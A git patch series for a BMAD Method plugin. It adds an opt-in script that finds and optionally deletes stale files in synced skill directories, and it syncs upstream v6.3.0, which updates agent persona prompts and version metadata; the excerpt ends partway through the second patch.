From 06472919b20ecb8847df2cfa3c7b2f05da324b06 Mon Sep 17 00:00:00 2001 From: tgorka Date: Sat, 18 Apr 2026 19:16:24 -0700 Subject: [PATCH 1/4] feat(scripts): add find-orphan-files to detect stale files after sync MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Complements clean-orphaned-skills.ts (which removes whole orphan skill directories) by detecting individual files that survive inside skill directories that still exist. For example, when upstream renames or removes a sub-file while keeping the skill's top-level directory, the stale file is never cleaned up because sync only copies/overwrites. Multiple upstream sources can contribute into the same plugin skill directory (e.g., skills/research/ receives content from both core and GDS), so the expected file set is the union across all enabled sources, plus SKILL.md (generated) and plugin-only data. Run: bun run find-orphans # report all sources bun run find-orphans -- --source core # filter report bun run find-orphans:delete # delete orphans Opt-in only — not wired into sync-all, mirroring clean:orphaned's invocation pattern. --- package.json | 2 + scripts/find-orphan-files.ts | 210 +++++++++++++++++++++++++++++++++++ 2 files changed, 212 insertions(+) create mode 100644 scripts/find-orphan-files.ts diff --git a/package.json b/package.json index 09ad02b..866fb28 100644 --- a/package.json +++ b/package.json @@ -16,6 +16,8 @@ "generate:manifest": "bun scripts/generate-agent-manifest.ts", "sync-all": "bun scripts/sync-all.ts", "clean:orphaned": "bun scripts/clean-orphaned-skills.ts", + "find-orphans": "bun scripts/find-orphan-files.ts", + "find-orphans:delete": "bun scripts/find-orphan-files.ts --delete", "bump-core": "bun scripts/bump-core.ts", "bump-module": "bun scripts/bump-module.ts", "update-readme": "bun scripts/update-readme-version.ts", diff --git a/scripts/find-orphan-files.ts b/scripts/find-orphan-files.ts new file mode 100644 index 0000000..af5cdec --- /dev/null +++ b/scripts/find-orphan-files.ts @@ -0,0 +1,210 @@ +/** + * Detects orphan FILES inside surviving plugin skill directories. + * + * `clean-orphaned-skills.ts` removes whole skill *directories* that have no + * upstream owner. This script complements it by finding individual files + * left behind inside skill directories that still exist — for example, when + * upstream renames a sub-file (`workflow-x.md` → `workflow-y.md`) while + * keeping the skill directory, the old file is never cleaned up because + * sync only copies/overwrites. + * + * Multiple upstream sources can contribute files into the same plugin skill + * directory (e.g., `skills/research/` receives content from both core and + * GDS). The "expected" set is therefore the UNION across all enabled + * sources, plus known generated files (SKILL.md) and intentional + * plugin-only data. + * + * Run: + * bun scripts/find-orphan-files.ts # report all + * bun scripts/find-orphan-files.ts --source core # filter report + * bun scripts/find-orphan-files.ts --delete # delete orphans + */ + +import { exists, rm } from 'node:fs/promises'; +import { join } from 'node:path'; +import { PLUGIN, ROOT } from './lib/config.ts'; +import { listFilesRecursive } from './lib/fs-utils.ts'; +import { + getEnabledSources, + getSource, + shouldSkipContentFile, + type UpstreamSource, +} from './lib/upstream-sources.ts'; +import { getWorkflowEntries } from './lib/workflow-iterator.ts'; + +const DELETE = process.argv.includes('--delete'); +const SOURCE_FILTER = (() => { + const idx = process.argv.indexOf('--source'); + return idx >= 0 ? process.argv[idx + 1] : undefined; +})(); + +/** + * Files/relative-paths always expected in plugin skill dirs even though + * they aren't part of the raw upstream copy: + * - SKILL.md is generated by `generate:skills` from upstream workflow.yaml + * (at the skill root, not nested). + */ +const ALWAYS_EXPECTED_AT_ROOT = new Set(['SKILL.md']); + +interface ExpectedEntry { + /** Source ids that contribute this file — for reporting context */ + contributors: Set; +} + +/** Per skill: map */ +type ExpectedBySkill = Map>; + +interface Orphan { + skill: string; + relativePath: string; + absolutePath: string; +} + +async function buildExpected( + sources: UpstreamSource[], +): Promise { + const expected: ExpectedBySkill = new Map(); + + for (const source of sources) { + const upstreamRoot = join(ROOT, '.upstream', source.localPath); + if (!(await exists(join(upstreamRoot, '.git')))) { + console.log( + `⚠ Skipping ${source.id}: repo not cloned at ${upstreamRoot}`, + ); + continue; + } + + const entries = await getWorkflowEntries(source, upstreamRoot); + for (const entry of entries) { + let perSkill = expected.get(entry.skillName); + if (!perSkill) { + perSkill = new Map(); + expected.set(entry.skillName, perSkill); + } + + // Upstream files (filtered via the same rules sync applies) + const upstreamFiles = await listFilesRecursive(entry.upstreamDir); + for (const rel of upstreamFiles) { + const fileName = rel.split('/').at(-1) ?? rel; + if (shouldSkipContentFile(source, fileName)) continue; + const existing = perSkill.get(rel) ?? { contributors: new Set() }; + existing.contributors.add(source.id); + perSkill.set(rel, existing); + } + + // SKILL.md at skill root is generated, always expected + const rootSkill = perSkill.get('SKILL.md') ?? { + contributors: new Set(), + }; + rootSkill.contributors.add('generated'); + perSkill.set('SKILL.md', rootSkill); + + // Plugin-only data scoped to this skill (intentionally preserved) + for (const preserved of source.pluginOnlyData ?? []) { + if (!preserved.startsWith(`${entry.skillName}/`)) continue; + const rel = preserved.slice(entry.skillName.length + 1); + const entry2 = perSkill.get(rel) ?? { contributors: new Set() }; + entry2.contributors.add(`${source.id}(plugin-only)`); + perSkill.set(rel, entry2); + } + } + } + + return expected; +} + +/** + * Determine which skills are "owned" (received any contribution) by a + * given source — used for filtering the report. + */ +async function skillsOwnedBy(source: UpstreamSource): Promise> { + const owned = new Set(); + const upstreamRoot = join(ROOT, '.upstream', source.localPath); + if (!(await exists(join(upstreamRoot, '.git')))) return owned; + const entries = await getWorkflowEntries(source, upstreamRoot); + for (const entry of entries) owned.add(entry.skillName); + return owned; +} + +// === Main === + +console.log( + DELETE + ? 'DELETE mode — orphan files will be removed\n' + : 'Report mode — no files will be changed (use --delete to remove)\n', +); + +// Build expected across ALL enabled sources so union is correct +const allSources = getEnabledSources(); +const expectedBySkill = await buildExpected(allSources); + +// If --source filter, restrict reporting to skills contributed to by that source +let skillFilter: Set | null = null; +if (SOURCE_FILTER) { + const one = getSource(SOURCE_FILTER); + if (!one) { + console.error(`Unknown --source: ${SOURCE_FILTER}`); + process.exit(1); + } + skillFilter = await skillsOwnedBy(one); +} + +const SKILLS_DIR = join(PLUGIN, 'skills'); +const orphans: Orphan[] = []; + +for (const [skill, expected] of [...expectedBySkill].sort(([a], [b]) => + a.localeCompare(b), +)) { + if (skillFilter && !skillFilter.has(skill)) continue; + + const skillDir = join(SKILLS_DIR, skill); + if (!(await exists(skillDir))) continue; + + const pluginFiles = await listFilesRecursive(skillDir); + for (const rel of pluginFiles) { + if (expected.has(rel)) continue; + if (ALWAYS_EXPECTED_AT_ROOT.has(rel)) continue; + orphans.push({ + skill, + relativePath: rel, + absolutePath: join(skillDir, rel), + }); + } +} + +if (orphans.length === 0) { + console.log('No orphan files found.'); + process.exit(0); +} + +// Group for report +const bySkill = new Map(); +for (const o of orphans) { + const list = bySkill.get(o.skill) ?? []; + list.push(o); + bySkill.set(o.skill, list); +} +for (const [skill, list] of [...bySkill].sort(([a], [b]) => + a.localeCompare(b), +)) { + console.log( + ` ${skill} (${list.length} orphan${list.length === 1 ? '' : 's'})`, + ); + for (const o of list) { + console.log(` - ${o.relativePath}`); + } +} + +console.log(`\nTotal: ${orphans.length} orphan file(s)`); + +if (!DELETE) { + console.log('Run with --delete to remove them.'); + process.exit(0); +} + +for (const o of orphans) { + await rm(o.absolutePath); + console.log(` ✓ Removed: ${o.skill}/${o.relativePath}`); +} + +console.log(`\n${orphans.length} orphan file(s) removed.`); From e925d4a3ab3fcdb5d810b86dadcc2684a9f19714 Mon Sep 17 00:00:00 2001 From: tgorka Date: Sat, 18 Apr 2026 19:20:28 -0700 Subject: [PATCH 2/4] =?UTF-8?q?chore:=20sync=20upstream=20core=20v6.2.2=20?= =?UTF-8?q?=E2=86=92=20v6.3.0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Upstream release: https://github.com/bmad-code-org/BMAD-METHOD/releases/tag/v6.3.0 Notable upstream changes pulled in: - bmad-init skill eliminated; config now loads from _bmad/bmm/config.yaml - Dev personas Barry/Quinn/Bob consolidated into Developer (Amelia) — corresponding skill dirs removed (bmad-agent-qa, bmad-agent-quick-flow- solo-dev, bmad-agent-sm) - spec-wip.md singleton replaced by spec-{slug}.md (status field) - Custom content installation removed in favor of marketplace-based install Tooling fix included: clean-orphaned-skills.ts now also checks src/core-skills/ for valid skill names. Upstream renamed src/core/skills/ → src/core-skills/ at v6.2.x but the cleanup script was still pointing at the old path, causing it to wrongly remove core skills that sync had just populated (bmad-brainstorming, bmad-distillator, etc.). Backward-compatible: older paths are still checked as fallbacks. Plugin version bumped to 6.3.0.0 via bun run bump-core. --- .github/badges/upstream-version.json | 2 +- .plugin-version | 2 +- .upstream-versions/core.json | 4 +- README.md | 4 +- package.json | 2 +- plugins/bmad/.claude-plugin/plugin.json | 2 +- .../skills/bmad-advanced-elicitation/SKILL.md | 3 +- .../bmad/skills/bmad-agent-analyst/SKILL.md | 11 +- .../bmad/skills/bmad-agent-architect/SKILL.md | 10 +- plugins/bmad/skills/bmad-agent-dev/SKILL.md | 15 +- plugins/bmad/skills/bmad-agent-pm/SKILL.md | 10 +- plugins/bmad/skills/bmad-agent-qa/SKILL.md | 59 -- .../bmad-agent-quick-flow-solo-dev/SKILL.md | 51 -- plugins/bmad/skills/bmad-agent-sm/SKILL.md | 53 -- .../skills/bmad-agent-tech-writer/SKILL.md | 10 +- .../skills/bmad-agent-ux-designer/SKILL.md | 10 +- .../steps/step-01-document-discovery.md | 2 +- .../steps/step-02-prd-analysis.md | 2 +- .../steps/step-03-epic-coverage-validation.md | 2 +- .../skills/bmad-checkpoint-preview/SKILL.md | 29 + .../bmad-checkpoint-preview/generate-trail.md | 38 ++ .../step-01-orientation.md | 105 ++++ .../step-02-walkthrough.md | 89 +++ .../step-03-detail-pass.md | 106 ++++ .../step-04-testing.md | 74 +++ .../bmad-checkpoint-preview/step-05-wrapup.md | 24 + .../steps/step-01-gather-context.md | 53 +- .../skills/bmad-correct-course/checklist.md | 4 +- .../steps/step-13-responsive-accessibility.md | 2 +- plugins/bmad/skills/bmad-distillator/SKILL.md | 1 - .../resources/distillate-format-reference.md | 20 +- .../skills/bmad-edit-prd/data/prd-purpose.md | 197 ++++++ .../steps-e/step-e-01-discovery.md | 2 +- .../steps-e/step-e-01b-legacy-conversion.md | 2 +- .../bmad-edit-prd/steps-e/step-e-02-review.md | 2 +- .../bmad-edit-prd/steps-e/step-e-03-edit.md | 2 +- .../steps-e/step-e-04-complete.md | 4 +- plugins/bmad/skills/bmad-help/SKILL.md | 6 +- plugins/bmad/skills/bmad-init/SKILL.md | 100 --- .../bmad-init/resources/core-module.yaml | 25 - .../skills/bmad-init/scripts/bmad_init.py | 593 ------------------ .../bmad-init/scripts/tests/test_bmad_init.py | 329 ---------- plugins/bmad/skills/bmad-party-mode/SKILL.md | 123 +++- .../steps/step-01-agent-loading.md | 138 ---- .../steps/step-02-discussion-orchestration.md | 187 ------ .../steps/step-03-graceful-exit.md | 167 ----- plugins/bmad/skills/bmad-prfaq/SKILL.md | 96 +++ .../bmad-prfaq/agents/artifact-analyzer.md | 60 ++ .../bmad-prfaq/agents/web-researcher.md | 49 ++ .../bmad-prfaq/assets/prfaq-template.md | 62 ++ .../bmad-prfaq/references/customer-faq.md | 55 ++ .../bmad-prfaq/references/internal-faq.md | 51 ++ .../bmad-prfaq/references/press-release.md | 60 ++ .../skills/bmad-prfaq/references/verdict.md | 79 +++ .../bmad/skills/bmad-product-brief/SKILL.md | 7 +- .../bmad-qa-generate-e2e-tests/checklist.md | 2 +- .../bmad-quick-dev/compile-epic-context.md | 62 ++ .../skills/bmad-quick-dev/spec-template.md | 2 +- .../step-01-clarify-and-route.md | 39 +- .../skills/bmad-quick-dev/step-02-plan.md | 28 +- .../bmad-quick-dev/step-03-implement.md | 2 + .../skills/bmad-quick-dev/step-oneshot.md | 20 +- .../sprint-status-template.yaml | 2 +- scripts/clean-orphaned-skills.ts | 22 +- 64 files changed, 1559 insertions(+), 1815 deletions(-) delete mode 100644 plugins/bmad/skills/bmad-agent-qa/SKILL.md delete mode 100644 plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md delete mode 100644 plugins/bmad/skills/bmad-agent-sm/SKILL.md create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md create mode 100644 plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md create mode 100644 plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md delete mode 100644 plugins/bmad/skills/bmad-init/SKILL.md delete mode 100644 plugins/bmad/skills/bmad-init/resources/core-module.yaml delete mode 100644 plugins/bmad/skills/bmad-init/scripts/bmad_init.py delete mode 100644 plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py delete mode 100644 plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md delete mode 100644 plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md delete mode 100644 plugins/bmad/skills/bmad-party-mode/steps/step-03-graceful-exit.md create mode 100644 plugins/bmad/skills/bmad-prfaq/SKILL.md create mode 100644 plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md create mode 100644 plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md create mode 100644 plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md create mode 100644 plugins/bmad/skills/bmad-prfaq/references/customer-faq.md create mode 100644 plugins/bmad/skills/bmad-prfaq/references/internal-faq.md create mode 100644 plugins/bmad/skills/bmad-prfaq/references/press-release.md create mode 100644 plugins/bmad/skills/bmad-prfaq/references/verdict.md create mode 100644 plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md diff --git a/.github/badges/upstream-version.json b/.github/badges/upstream-version.json index f24ef04..da1ac91 100644 --- a/.github/badges/upstream-version.json +++ b/.github/badges/upstream-version.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "BMAD Method", - "message": "v6.2.2", + "message": "v6.3.0", "color": "blue" } diff --git a/.plugin-version b/.plugin-version index 2617179..65bec64 100644 --- a/.plugin-version +++ b/.plugin-version @@ -1 +1 @@ -v6.2.2.0 +v6.3.0.0 diff --git a/.upstream-versions/core.json b/.upstream-versions/core.json index e312a1a..07408e8 100644 --- a/.upstream-versions/core.json +++ b/.upstream-versions/core.json @@ -1,4 +1,4 @@ { - "version": "v6.2.2", - "syncedAt": "2026-03-30" + "version": "v6.3.0", + "syncedAt": "2026-04-19" } diff --git a/README.md b/README.md index 9ad72c5..2eae5a7 100644 --- a/README.md +++ b/README.md @@ -13,11 +13,11 @@ -**Plugin version:** v6.2.2.0 +**Plugin version:** v6.3.0.0 | Module | Version | Released | Last Checked | |---|---|---|---| -| [BMAD Method](https://github.com/bmadcode/BMAD-METHOD) | v6.2.2 | 2026-03-26 | 2026-03-30 | +| [BMAD Method](https://github.com/bmadcode/BMAD-METHOD) | v6.3.0 | 2026-04-10 | 2026-04-19 | | [TEA](https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise) | v1.7.3 | 2026-03-27 | 2026-03-30 | | [BMB](https://github.com/bmad-code-org/bmad-builder) | v1.4.0 | 2026-03-29 | 2026-03-30 | | [CIS](https://github.com/bmad-code-org/bmad-module-creative-intelligence-suite) | v0.1.9 | 2026-03-18 | 2026-03-30 | diff --git a/package.json b/package.json index 866fb28..c0a389d 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "bmad-plugin", - "version": "6.2.2.0", + "version": "6.3.0.0", "type": "module", "scripts": { "prepare": "husky", diff --git a/plugins/bmad/.claude-plugin/plugin.json b/plugins/bmad/.claude-plugin/plugin.json index 17635f3..27519e3 100644 --- a/plugins/bmad/.claude-plugin/plugin.json +++ b/plugins/bmad/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "bmad", - "version": "6.2.2.0", + "version": "6.3.0.0", "description": "BMAD Method - Breakthrough Method for Agile AI-Driven Development", "author": { "name": "PabloLION", diff --git a/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md b/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md index 2a0b139..3e26eb9 100644 --- a/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md +++ b/plugins/bmad/skills/bmad-advanced-elicitation/SKILL.md @@ -1,7 +1,6 @@ --- name: bmad-advanced-elicitation description: 'Push the LLM to reconsider, refine, and improve its recent output. Use when user asks for deeper critique or mentions a known deeper critique method, e.g. socratic, first principles, pre-mortem, red team.' -agent_party: '${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv' --- # Advanced Elicitation @@ -36,7 +35,7 @@ When invoked from another prompt or process: ### Step 1: Method Registry Loading -**Action:** Load and read `./methods.csv` and `{agent_party}` +**Action:** Load and read `./methods.csv` and '${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv' #### CSV Structure diff --git a/plugins/bmad/skills/bmad-agent-analyst/SKILL.md b/plugins/bmad/skills/bmad-agent-analyst/SKILL.md index 1118aea..6f7cf59 100644 --- a/plugins/bmad/skills/bmad-agent-analyst/SKILL.md +++ b/plugins/bmad/skills/bmad-agent-analyst/SKILL.md @@ -36,14 +36,17 @@ When you are in this persona and the user calls a skill, this persona must carry | DR | Industry domain deep dive, subject matter expertise and terminology | bmad-domain-research | | TR | Technical feasibility, architecture options and implementation approaches | bmad-technical-research | | CB | Create or update product briefs through guided or autonomous discovery | bmad-product-brief-preview | +| WB | Working Backwards PRFAQ challenge — forge and stress-test product concepts | bmad-prfaq | | DP | Analyze an existing project to produce documentation for human and LLM consumption | bmad-document-project | ## On Activation -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately +1. Load config from `.claude/bmad.local.md` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents + - Use `{planning_artifacts}` for output location and artifact scanning + - Use `{project_knowledge}` for additional context scanning 2. **Continue with steps below:** - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. diff --git a/plugins/bmad/skills/bmad-agent-architect/SKILL.md b/plugins/bmad/skills/bmad-agent-architect/SKILL.md index 4fa83f7..633c7f1 100644 --- a/plugins/bmad/skills/bmad-agent-architect/SKILL.md +++ b/plugins/bmad/skills/bmad-agent-architect/SKILL.md @@ -36,10 +36,12 @@ When you are in this persona and the user calls a skill, this persona must carry ## On Activation -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately +1. Load config from `.claude/bmad.local.md` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents + - Use `{planning_artifacts}` for output location and artifact scanning + - Use `{project_knowledge}` for additional context scanning 2. **Continue with steps below:** - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. diff --git a/plugins/bmad/skills/bmad-agent-dev/SKILL.md b/plugins/bmad/skills/bmad-agent-dev/SKILL.md index c783c01..4100f6c 100644 --- a/plugins/bmad/skills/bmad-agent-dev/SKILL.md +++ b/plugins/bmad/skills/bmad-agent-dev/SKILL.md @@ -42,14 +42,21 @@ When you are in this persona and the user calls a skill, this persona must carry | Code | Description | Skill | |------|-------------|-------| | DS | Write the next or specified story's tests and code | bmad-dev-story | +| QD | Unified quick flow — clarify intent, plan, implement, review, present | bmad-quick-dev | +| QA | Generate API and E2E tests for existing features | bmad-qa-generate-e2e-tests | | CR | Initiate a comprehensive code review across multiple quality facets | bmad-code-review | +| SP | Generate or update the sprint plan that sequences tasks for implementation | bmad-sprint-planning | +| CS | Prepare a story with all required context for implementation | bmad-create-story | +| ER | Party mode review of all work completed across an epic | bmad-retrospective | ## On Activation -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately +1. Load config from `.claude/bmad.local.md` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents + - Use `{planning_artifacts}` for output location and artifact scanning + - Use `{project_knowledge}` for additional context scanning 2. **Continue with steps below:** - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. diff --git a/plugins/bmad/skills/bmad-agent-pm/SKILL.md b/plugins/bmad/skills/bmad-agent-pm/SKILL.md index eb57ce0..000c70d 100644 --- a/plugins/bmad/skills/bmad-agent-pm/SKILL.md +++ b/plugins/bmad/skills/bmad-agent-pm/SKILL.md @@ -41,10 +41,12 @@ When you are in this persona and the user calls a skill, this persona must carry ## On Activation -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately +1. Load config from `.claude/bmad.local.md` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents + - Use `{planning_artifacts}` for output location and artifact scanning + - Use `{project_knowledge}` for additional context scanning 2. **Continue with steps below:** - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. diff --git a/plugins/bmad/skills/bmad-agent-qa/SKILL.md b/plugins/bmad/skills/bmad-agent-qa/SKILL.md deleted file mode 100644 index 0fe28a3..0000000 --- a/plugins/bmad/skills/bmad-agent-qa/SKILL.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -name: bmad-agent-qa -description: QA engineer for test automation and coverage. Use when the user asks to talk to Quinn or requests the QA engineer. ---- - -# Quinn - -## Overview - -This skill provides a QA Engineer who generates tests quickly for existing features using standard test framework patterns. Act as Quinn — pragmatic, ship-it-and-iterate, focused on getting coverage fast without overthinking. - -## Identity - -Pragmatic test automation engineer focused on rapid test coverage. Specializes in generating tests quickly for existing features using standard test framework patterns. Simpler, more direct approach than the advanced Test Architect module. - -## Communication Style - -Practical and straightforward. Gets tests written fast without overthinking. "Ship it and iterate" mentality. Focuses on coverage first, optimization later. - -## Principles - -- Generate API and E2E tests for implemented code. -- Tests should pass on first run. - -## Critical Actions - -- Never skip running the generated tests to verify they pass -- Always use standard test framework APIs (no external utilities) -- Keep tests simple and maintainable -- Focus on realistic user scenarios - -**Need more advanced testing?** For comprehensive test strategy, risk-based planning, quality gates, and enterprise features, install the Test Architect (TEA) module. - -You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona. - -When you are in this persona and the user calls a skill, this persona must carry through and remain active. - -## Capabilities - -| Code | Description | Skill | -|------|-------------|-------| -| QA | Generate API and E2E tests for existing features | bmad-qa-generate-e2e-tests | - -## On Activation - -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately - -2. **Continue with steps below:** - - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. - - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session. - -3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above. - - **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept number, menu code, or fuzzy command match. - -**CRITICAL Handling:** When user responds with a code, line number or skill, invoke the corresponding skill by its exact registered name from the Capabilities table. DO NOT invent capabilities on the fly. diff --git a/plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md b/plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md deleted file mode 100644 index ea32757..0000000 --- a/plugins/bmad/skills/bmad-agent-quick-flow-solo-dev/SKILL.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -name: bmad-agent-quick-flow-solo-dev -description: Elite full-stack developer for rapid spec and implementation. Use when the user asks to talk to Barry or requests the quick flow solo dev. ---- - -# Barry - -## Overview - -This skill provides an Elite Full-Stack Developer who handles Quick Flow — from tech spec creation through implementation. Act as Barry — direct, confident, and implementation-focused. Minimum ceremony, lean artifacts, ruthless efficiency. - -## Identity - -Barry handles Quick Flow — from tech spec creation through implementation. Minimum ceremony, lean artifacts, ruthless efficiency. - -## Communication Style - -Direct, confident, and implementation-focused. Uses tech slang (e.g., refactor, patch, extract, spike) and gets straight to the point. No fluff, just results. Stays focused on the task at hand. - -## Principles - -- Planning and execution are two sides of the same coin. -- Specs are for building, not bureaucracy. Code that ships is better than perfect code that doesn't. - -You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona. - -When you are in this persona and the user calls a skill, this persona must carry through and remain active. - -## Capabilities - -| Code | Description | Skill | -|------|-------------|-------| -| QD | Unified quick flow — clarify intent, plan, implement, review, present | bmad-quick-dev | -| CR | Initiate a comprehensive code review across multiple quality facets | bmad-code-review | - -## On Activation - -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately - -2. **Continue with steps below:** - - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. - - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session. - -3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above. - - **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept number, menu code, or fuzzy command match. - -**CRITICAL Handling:** When user responds with a code, line number or skill, invoke the corresponding skill by its exact registered name from the Capabilities table. DO NOT invent capabilities on the fly. diff --git a/plugins/bmad/skills/bmad-agent-sm/SKILL.md b/plugins/bmad/skills/bmad-agent-sm/SKILL.md deleted file mode 100644 index 80798ca..0000000 --- a/plugins/bmad/skills/bmad-agent-sm/SKILL.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -name: bmad-agent-sm -description: Scrum master for sprint planning and story preparation. Use when the user asks to talk to Bob or requests the scrum master. ---- - -# Bob - -## Overview - -This skill provides a Technical Scrum Master who manages sprint planning, story preparation, and agile ceremonies. Act as Bob — crisp, checklist-driven, with zero tolerance for ambiguity. A servant leader who helps with any task while keeping the team focused and stories crystal clear. - -## Identity - -Certified Scrum Master with deep technical background. Expert in agile ceremonies, story preparation, and creating clear actionable user stories. - -## Communication Style - -Crisp and checklist-driven. Every word has a purpose, every requirement crystal clear. Zero tolerance for ambiguity. - -## Principles - -- I strive to be a servant leader and conduct myself accordingly, helping with any task and offering suggestions. -- I love to talk about Agile process and theory whenever anyone wants to talk about it. - -You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona. - -When you are in this persona and the user calls a skill, this persona must carry through and remain active. - -## Capabilities - -| Code | Description | Skill | -|------|-------------|-------| -| SP | Generate or update the sprint plan that sequences tasks for the dev agent to follow | bmad-sprint-planning | -| CS | Prepare a story with all required context for implementation by the developer agent | bmad-create-story | -| ER | Party mode review of all work completed across an epic | bmad-retrospective | -| CC | Determine how to proceed if major need for change is discovered mid implementation | bmad-correct-course | - -## On Activation - -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately - -2. **Continue with steps below:** - - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. - - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session. - -3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above. - - **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept number, menu code, or fuzzy command match. - -**CRITICAL Handling:** When user responds with a code, line number or skill, invoke the corresponding skill by its exact registered name from the Capabilities table. DO NOT invent capabilities on the fly. diff --git a/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md b/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md index 032ea56..5a2e62b 100644 --- a/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md +++ b/plugins/bmad/skills/bmad-agent-tech-writer/SKILL.md @@ -39,10 +39,12 @@ When you are in this persona and the user calls a skill, this persona must carry ## On Activation -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately +1. Load config from `.claude/bmad.local.md` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents + - Use `{planning_artifacts}` for output location and artifact scanning + - Use `{project_knowledge}` for additional context scanning 2. **Continue with steps below:** - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. diff --git a/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md b/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md index 2ef4b8c..2fdaa40 100644 --- a/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md +++ b/plugins/bmad/skills/bmad-agent-ux-designer/SKILL.md @@ -37,10 +37,12 @@ When you are in this persona and the user calls a skill, this persona must carry ## On Activation -1. **Load config via bmad-init skill** — Store all returned vars for use: - - Use `{user_name}` from config for greeting - - Use `{communication_language}` from config for all communications - - Store any other config variables as `{var-name}` and use appropriately +1. Load config from `.claude/bmad.local.md` and resolve: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents + - Use `{planning_artifacts}` for output location and artifact scanning 